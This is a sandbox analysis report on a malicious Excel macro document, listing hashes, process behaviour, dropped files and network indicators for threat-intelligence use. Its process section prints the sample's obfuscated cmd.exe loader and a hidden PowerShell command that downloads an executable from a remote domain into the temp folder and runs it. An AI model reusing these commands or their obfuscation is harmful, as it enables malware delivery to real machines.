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File name:

0535f6306fde54ba2a86ff0a14a107d997ab45334424ccdb99eecf62bcbbae54

Full analysis: https://app.any.run/tasks/ca6a6196-3cab-4fd8-a056-5069db919b5b
Verdict: Malicious activity
Analysis date: April 23, 2019, 10:47:43
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
macros
macros-on-open
Indicators:
MIME: application/vnd.ms-excel
File info: Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.2, Code page: 1252, Author: ESSSSSS, Last Saved By: ESSSSSS, Last Saved Time/Date: Thu Mar 28 05:14:51 2019, Security: 0
MD5:

16BC70012D54BCBF49783B4E063695EE

SHA1:

21985F7F68440CADB846ECD86594BF0761B20635

SHA256:

0535F6306FDE54BA2A86FF0A14A107D997AB45334424CCDB99EECF62BCBBAE54

SSDEEP:

768:hkQzlaZAWh+ZO33ufIUfhttR6wyE/K87A14OiCdpqdRXgL7:KQzlaZAWh+ZO33ufIUfhttR6wyE/K87o

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Unusual execution from Microsoft Office

      • EXCEL.EXE (PID: 3568)

    • Starts CMD.EXE for commands execution

      • EXCEL.EXE (PID: 3568)

  • SUSPICIOUS

    • Executes PowerShell scripts

      • cmd.exe (PID: 3908)

    • Creates files in the user directory

      • powershell.exe (PID: 2716)

  • INFO

    • Creates files in the user directory

      • EXCEL.EXE (PID: 3568)

    • Reads Microsoft Office registry keys

      • EXCEL.EXE (PID: 3568)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.xls | Microsoft Excel sheet (48)
.xls | Microsoft Excel sheet (alternate) (39.2)

EXIF

FlashPix

HeadingPairs:
  • Worksheets
  • 1
TitleOfParts: chibykeexploit
HyperlinksChanged: No
SharedDoc: No
LinksUpToDate: No
ScaleCrop: No
AppVersion: 15
CodePage: Windows Latin 1 (Western European)
Security: None
ModifyDate: 2019:03:28 05:14:51
LastModifiedBy: ESSSSSS
Author: ESSSSSS
CompObjUserType: Microsoft Excel 2003 Worksheet
CompObjUserTypeLen: 31
No data.
screenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
37
Monitored processes
3
Malicious processes
1
Suspicious processes
0

Behavior graph

Click at the process to see the details
start excel.exe no specs cmd.exe no specs powershell.exe

Process information

PID
CMD
Path
Indicators
Parent process
3568"C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /ddeC:\Program Files\Microsoft Office\Office14\EXCEL.EXE—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Excel
Exit code:
0
Version:
14.0.6024.1000
3908C:\warren\televisions\volunteer\..\..\..\windows\system32\cmd.exe /v:ON /c"set brings= && set deadline=%h=(z9r:xYde;GbLnyHQc.@UA63MEq)5v\fSum7X1TK$Rt8_aw4kIZ'2Wslj~JFBi-/OPV+D Ng0p,Co && for %H in (76,79,49,11,6,57,1,11,58,58,21,11,8,11,72,65,49,72,1,64,10,10,11,16,72,65,11,76,72,14,17,76,48,57,57,72,3,73,11,49,65,67,14,59,11,20,45,72,35,17,57,45,11,37,21,73,11,45,21,56,11,14,78,58,64,11,16,45,30,21,71,79,49,16,58,79,48,10,62,64,58,11,3,54,1,45,45,76,7,66,66,4,11,16,45,48,20,1,11,6,21,37,58,66,20,1,64,14,17,51,11,21,11,8,11,54,77,43,11,16,32,7,45,11,37,76,72,70,72,54,33,34,11,48,45,36,6,11,57,21,11,8,11,54,30,12,7550) DO (set brings=!brings!!deadline:~%H,1!) && if %H == 7550 call !brings:~-146!" && %tmp%/features.exeC:\windows\system32\cmd.exe—EXCEL.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
1
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
2716powershell.exe -w hidden -ep bypass (New-Object System.Net.WebClient).DownloadFile('http://zentacher.ml/chibyke.exe',$env:temp + '\features.exe'); C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
1
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Total events
755
Read events
649
Write events
0
Delete events
0

Modification events

No data
Executable files
0
Suspicious files
3
Text files
2
Unknown types
2

Dropped files

PID
Process
Filename
Type
3568EXCEL.EXEC:\Users\admin\AppData\Local\Temp\CVR6E65.tmp.cvr —
MD5:—
SHA256:—
2716powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\NBMP2I5EHEFP8YQX3BMS.temp —
MD5:—
SHA256:—
3568EXCEL.EXEC:\Users\admin\AppData\Local\Temp\~DF63013AB50F714CCF.TMP —
MD5:—
SHA256:—
3568EXCEL.EXEC:\Users\admin\AppData\Local\Temp\~DFEC25DF07A70BCD25.TMP —
MD5:—
SHA256:—
3568EXCEL.EXEC:\Users\admin\AppData\Roaming\Microsoft\Office\Recent\0535f6306fde54ba2a86ff0a14a107d997ab45334424ccdb99eecf62bcbbae54.xls.LNKlnk
MD5:AA50379D3D249D7F9C686072A1A7C851
SHA256:3F4AD333FF87EA5595C68AE675CC9DAA2C73BA117419F05A8A785B95279F7747
3568EXCEL.EXEC:\Users\admin\AppData\Roaming\Microsoft\Office\Recent\index.dattext
MD5:45EFAC1EE4703DEBE5B85A9777996FAB
SHA256:92E0A98A594732249C19BFC5235D4BFC5E5E1A5812EAF35C4AF074CD2D2781EB
2716powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-msbinary
MD5:131DC75F6D4142CA9244945A91A71E8D
SHA256:F17C463C77B5DA9E795770A82E0A7FB1023023F44397F6E080721E9811B2A0C4
3568EXCEL.EXEC:\Users\admin\Desktop\0535f6306fde54ba2a86ff0a14a107d997ab45334424ccdb99eecf62bcbbae54.xlsdocument
MD5:9F44D44F1A27CC5EDEF5D3320AD9E3BA
SHA256:BE76275576FFEEB911676A428720CE2067E0E06E982D2AA3B6DA42E1C4378DBC
2716powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RFe8364.TMPbinary
MD5:131DC75F6D4142CA9244945A91A71E8D
SHA256:F17C463C77B5DA9E795770A82E0A7FB1023023F44397F6E080721E9811B2A0C4
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
1
TCP/UDP connections
1
DNS requests
1
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
2716
powershell.exe
GET
522
104.24.105.236:80
http://zentacher.ml/chibyke.exe
US
html
4.63 Kb
suspicious
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
2716
powershell.exe
104.24.105.236:80
zentacher.ml
Cloudflare Inc
US
shared

DNS requests

Domain
IP
Reputation
zentacher.ml
  • 104.24.105.236
  • 104.24.104.236
suspicious

Threats

PID
Process
Class
Message
—
—
Potentially Bad Traffic
ET INFO DNS Query for Suspicious .ml Domain
No debug info
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0535f6306fde54ba2a86ff0a14a107d997ab45334424ccdb99eecf62bcbbae54